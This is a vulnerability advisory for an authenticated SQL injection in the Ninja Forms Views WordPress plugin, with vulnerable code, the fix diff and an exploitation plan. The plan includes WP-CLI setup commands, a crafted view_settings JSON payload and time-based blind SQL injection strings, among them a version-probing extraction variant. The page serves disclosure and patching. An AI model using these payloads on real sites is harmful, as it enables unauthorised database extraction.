Ninja Forms Views – Display & Edit Ninja Forms Submissions on your site frontend <= 3.3.2 - Authenticated (Contributor+) SQL Injection
Description
The Ninja Forms Views – Display & Edit Ninja Forms Submissions on your site frontend plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.3.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=3.3.2What Changed in the Fix
Changes introduced in v3.3.3
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-42741 (SQL Injection in Ninja Forms Views) ## 1. Vulnerability Summary The **Ninja Forms Views** plugin (versions <= 3.3.2) is vulnerable to an authenticated SQL injection within the `nf_views_lite_get_submissions` function. The vulnerability exists because th…
Show full research plan
Exploitation Research Plan: CVE-2026-42741 (SQL Injection in Ninja Forms Views)
1. Vulnerability Summary
The Ninja Forms Views plugin (versions <= 3.3.2) is vulnerable to an authenticated SQL injection within the nf_views_lite_get_submissions function. The vulnerability exists because the plugin fails to sanitize or prepare the sort values retrieved from a View's configuration before concatenating them into a WP_Query posts_orderby filter. An attacker with Contributor-level permissions can create or modify a View post, inject a malicious SQL payload into the sorting metadata, and trigger the execution of that payload by viewing the shortcode.
2. Attack Vector Analysis
- Entry Point: The
[nf-views id=VIEW_ID]shortcode. - Vulnerable Sink:
inc/helpers.php, functionnf_views_lite_get_submissions. - Payload Delivery: Through the
view_settingspost meta associated with annf-viewscustom post type. - Authentication: Required (Contributor+). Contributors can typically create and edit their own posts of custom post types unless restricted.
- Preconditions:
- A Ninja Form must exist with at least one field of type
date. - A "View" (post type
nf-views) must be created and configured to use that form and sort by that date field.
- A Ninja Form must exist with at least one field of type
3. Code Flow
- Shortcode Execution: When
[nf-views id=123]is processed,NF_Views_Shortcode::shortcode()ininc/class-nf-views-shortcode.phpis called. - Metadata Retrieval: The function retrieves the View configuration:
$view_settings_json = get_post_meta( $view_id, 'view_settings', true ); $view_settings = json_decode( $view_settings_json ); - View Processing: It calls
get_view($view_settings), which extracts the sorting parameters:$sort_order = $view_settings->viewSettings->sort; // ... foreach ( $sort_order as $sortrrow ) { $args['sort_order'][] = array( 'field' => $sortrrow->field, 'value' => $sortrrow->value, // <--- User-controlled value from JSON ); } - Submission Retrieval: It calls
nf_views_lite_get_submissions($args)ininc/helpers.php. - SQL Injection Sink: If the sorted field's type is
date, the following logic executes:} elseif ( $form_fields->{$sortfield['field']}->type === 'date' ) { $col_name = 'snfv' . $sortfield['field'] . '.meta_value'; $date_col_string = nf_views_cast_to_mysql_date( $args['form_id'], $sortfield['field'], $col_name ); $orderby_string .= "$date_col_string " . $sortfield['value']; // <--- UNPROTECTED CONCATENATION } - Query Filter: The
orderby_stringis passed to theNF_Views_Query_Modifiersglobal and applied via theposts_orderbyfilter during aWP_Querycall.
4. Nonce Acquisition Strategy
While the exploitation of the SQL injection itself occurs when viewing the shortcode (which requires no nonce), the setup (creating/modifying the View) might require a nonce if done via the admin UI.
- Shortcode Discovery: Identify the shortcode used for Ninja Forms Views:
[nf-views id=...]. - Setup Script:
- Create a Ninja Form using WP-CLI.
- Create an
nf-viewspost using WP-CLI. - Inject the malicious JSON payload directly into the
view_settingsmeta key via WP-CLI.
- UI Alternative (if CLI is restricted):
- Navigate to the "Views" creation page:
/wp-admin/edit.php?post_type=nf-views. - The plugin localizes script data into
nf_views_admininnf-form-views.php:$nf_views_admin = array( 'admin_url' => admin_url(), 'create_nonce' => wp_create_nonce( 'nf-views-create' ), ); wp_localize_script( 'nf_views_admin', 'nf_views_admin', $nf_views_admin ); - Use
browser_eval("nf_views_admin.create_nonce")to obtain the nonce for AJAX save operations.
- Navigate to the "Views" creation page:
5. Exploitation Strategy
We will use a Time-Based Blind SQL Injection payload appended to the ORDER BY clause.
Step-by-Step Plan:
Initial Setup:
- Create a Ninja Form (ID 1) with a "Date" field. Note the field ID (likely
1). - Create an
nf-viewspost (ID 100) as a Contributor. - Assign the shortcode
[nf-views id=100]to a public page (ID 200).
- Create a Ninja Form (ID 1) with a "Date" field. Note the field ID (likely
Payload Construction:
Craft a JSONview_settingsobject where thesortvalue contains the injection:{ "formId": "1", "viewType": "table", "sections": { "beforeloop": {"rows": []}, "loop": {"rows": ["r1"]}, "afterloop": {"rows": []} }, "rows": { "r1": {"cols": ["c1"]} }, "columns": { "c1": {"size": 12, "fields": ["f1"]} }, "fields": { "f1": {"formFieldId": "1", "label": "Date", "fieldSettings": {"useCustomLabel": false}} }, "viewSettings": { "multipleentries": {"perPage": 10}, "sort": [ { "field": "1", "value": "ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a)" } ] } }Injection:
- Update the post meta for View 100:
wp post meta update 100 view_settings '[JSON_PAYLOAD]' --format=json
- Update the post meta for View 100:
Trigger:
- Execute an HTTP GET request to the page containing the shortcode.
- Endpoint:
GET /?p=200(or the URL of the page with the shortcode).
6. Test Data Setup
- Create Form:
wp eval "Ninja_Forms()->form()->set_setting('title', 'Exploit Form')->save();"
(Identify the generated form ID, e.g., 1). - Create Date Field:
wp eval "Ninja_Forms()->form(1)->create_field(array('type'=>'date', 'label'=>'My Date'))->save();"
(Identify the generated field ID, e.g., 1). - Create View Post:
wp post create --post_type=nf-views --post_status=publish --post_title="Vulnerable View"
(Identify the generated View ID, e.g., 100). - Create Trigger Page:
wp post create --post_type=page --post_status=publish --post_content="[nf-views id=100]"
(Identify the page URL).
7. Expected Results
- Response Delay: The HTTP request to the page with the shortcode should hang for approximately 5 seconds.
- SQL Execution: Monitoring the database logs (if possible) would show a query similar to:
SELECT ... FROM wp_posts ... ORDER BY STR_TO_DATE(...) ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a) LIMIT ...
8. Verification Steps
- Confirm Latency: Use
http_requestand verifytime_totalis $> 5.0$ seconds. - Baseline Comparison: Change the payload to
SLEEP(0)and verify the response time returns to normal ($< 1.0$ second). - Data Extraction (Proof of Concept):
Change the payload to extract the database version:ASC, (SELECT 1 FROM (SELECT(IF(SUBSTRING(VERSION(),1,1)='8',SLEEP(5),0)))a)
Check if the delay occurs (indicating MySQL 8.x).
9. Alternative Approaches
If the date field path fails (e.g., if Ninja Forms API fails to load during the test), try the "Else" branch in nf_views_lite_get_submissions:
} else {
$query_args['meta_query'][ '_field_' . $sortfield['field'] . '_clause' ] = array(
'key' => '_field_' . $sortfield['field'],
);
$orderby[ '_field_' . $sortfield['field'] . '_clause' ] = $sortfield['value'];
}
In this branch, the $sortfield['value'] is passed into $query_args['orderby']. While WP_Query handles standard ASC/DESC safely, if the plugin version passes this directly to a raw query later (via posts_orderby filter), it might still be vulnerable. However, the date path is the most certain vector due to direct string concatenation into $orderby_string.
Summary
The Ninja Forms Views plugin for WordPress is vulnerable to an authenticated SQL injection in versions up to 3.3.2. An attacker with Contributor-level access can inject malicious SQL commands by manipulating the sort order settings within a View's configuration, which are subsequently concatenated into a database query without proper sanitization.
Vulnerable Code
// inc/class-nf-views-shortcode.php lines 65-72 foreach ( $sort_order as $sortrrow ) { if ( isset( $sortrrow->field ) ) { $args['sort_order'][] = array( // Data is taken directly from the JSON-decoded view_settings meta 'field' => $sortrrow->field, 'value' => $sortrrow->value, ); } } --- // inc/helpers.php lines 111-118 } elseif ( $form_fields->{$sortfield['field']}->type === 'date' ) { $col_name = 'snfv' . $sortfield['field'] . '.meta_value'; $join_string .= " LEFT JOIN {$wpdb->postmeta} AS snfv{$sortfield['field']} ON ( {$wpdb->posts}.ID = snfv{$sortfield['field']}.post_id AND snfv{$sortfield['field']}.meta_key='_field_{$sortfield['field']}')"; $date_col_string = nf_views_cast_to_mysql_date( $args['form_id'], $sortfield['field'], $col_name ); $orderby_string .= "$date_col_string " . $sortfield['value']; // Unsanitized 'value' is concatenated to ORDER BY string }
Security Fix
@@ -65,8 +65,8 @@ foreach ( $sort_order as $sortrrow ) { if ( isset( $sortrrow->field ) ) { $args['sort_order'][] = array( - 'field' => $sortrrow->field, - 'value' => $sortrrow->value, + 'field' => nf_views_lite_sanitize_sort_field( $sortrrow->field ), + 'value' => nf_views_lite_sanitize_sort_direction( $sortrrow->value ), ); } } @@ -47,6 +47,26 @@ } +function nf_views_lite_sanitize_sort_direction( $direction ) { + $direction = strtoupper( trim( (string) $direction ) ); + + if ( in_array( $direction, array( 'ASC', 'DESC' ), true ) ) { + return $direction; + } + + return 'ASC'; +} + +function nf_views_lite_sanitize_sort_field( $field ) { + $field = (string) $field; + + if ( in_array( $field, array( 'submission_id', 'entryId', 'entryDate' ), true ) ) { + return $field; + } + + return (string) absint( $field ); +} + /** * Get submissions based on specific critera. @@ -76,28 +96,31 @@ $orderby = array(); foreach ( $args['sort_order'] as $sortfield ) { - if ( $sortfield['field'] === 'submission_id' || $sortfield['field'] === 'entryId' ) { + $sort_field = nf_views_lite_sanitize_sort_field( $sortfield['field'] ); + $sort_direction = nf_views_lite_sanitize_sort_direction( $sortfield['value'] ); + + if ( $sort_field === 'submission_id' || $sort_field === 'entryId' ) { if ( ! isset( $query_args['meta_query']['seq_num_clause'] ) ) { $query_args['meta_query']['seq_num_clause'] = array( 'key' => '_seq_num', 'type' => 'numeric', ); } - $orderby['seq_num_clause'] = $sortfield['value']; - } elseif ( $sortfield['field'] === 'entryDate' ) { - $orderby['date'] = $sortfield['value']; - } elseif ( $form_fields->{$sortfield['field']}->type === 'date' ) { - $col_name = 'snfv' . $sortfield['field'] . '.meta_value'; - $join_string .= " LEFT JOIN {$wpdb->postmeta} AS snfv{$sortfield['field']} ON ( {$wpdb->posts}.ID = snfv{$sortfield['field']}.post_id AND snfv{$sortfield['field']}.meta_key='_field_{$sortfield['field']}')"; + $orderby['seq_num_clause'] = $sort_direction; + } elseif ( $sort_field === 'entryDate' ) { + $orderby['date'] = $sort_direction; + } elseif ( ! empty( $sort_field ) && isset( $form_fields->{$sort_field} ) && $form_fields->{$sort_field}->type === 'date' ) { + $col_name = 'snfv' . $sort_field . '.meta_value'; + $join_string .= " LEFT JOIN {$wpdb->postmeta} AS snfv{$sort_field} ON ( {$wpdb->posts}.ID = snfv{$sort_field}.post_id AND snfv{$sort_field}.meta_key='_field_{$sort_field}')"; - $date_col_string = nf_views_cast_to_mysql_date( $args['form_id'], $sortfield['field'], $col_name ); - $orderby_string .= "$date_col_string " . $sortfield['value']; + $date_col_string = nf_views_cast_to_mysql_date( $args['form_id'], $sort_field, $col_name ); + $orderby_string .= "$date_col_string " . $sort_direction; } else { - $query_args['meta_query'][ '_field_' . $sortfield['field'] . '_clause' ] = array( - 'key' => '_field_' . $sortfield['field'], + $query_args['meta_query'][ '_field_' . $sort_field . '_clause' ] = array( + 'key' => '_field_' . $sort_field, ); - $orderby[ '_field_' . $sortfield['field'] . '_clause' ] = $sortfield['value']; + $orderby[ '_field_' . $sort_field . '_clause' ] = $sort_direction; } } if ( ! empty( $orderby ) ) {
Exploit Outline
The exploit requires Contributor-level authentication to create or modify a 'View' (custom post type `nf-views`). The attacker crafts a malicious `view_settings` JSON object and saves it as the post meta for the View. Within this JSON, the `viewSettings.sort` array must contain an entry where the `field` points to a Ninja Form field of type `date`, and the `value` contains an SQL payload (e.g., a time-based sleep command). When the attacker or any visitor views a page containing the shortcode `[nf-views id=VIEW_ID]`, the plugin processes the shortcode, retrieves the malicious settings, and executes the SQL payload by concatenating it into the `ORDER BY` clause of the submission query.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.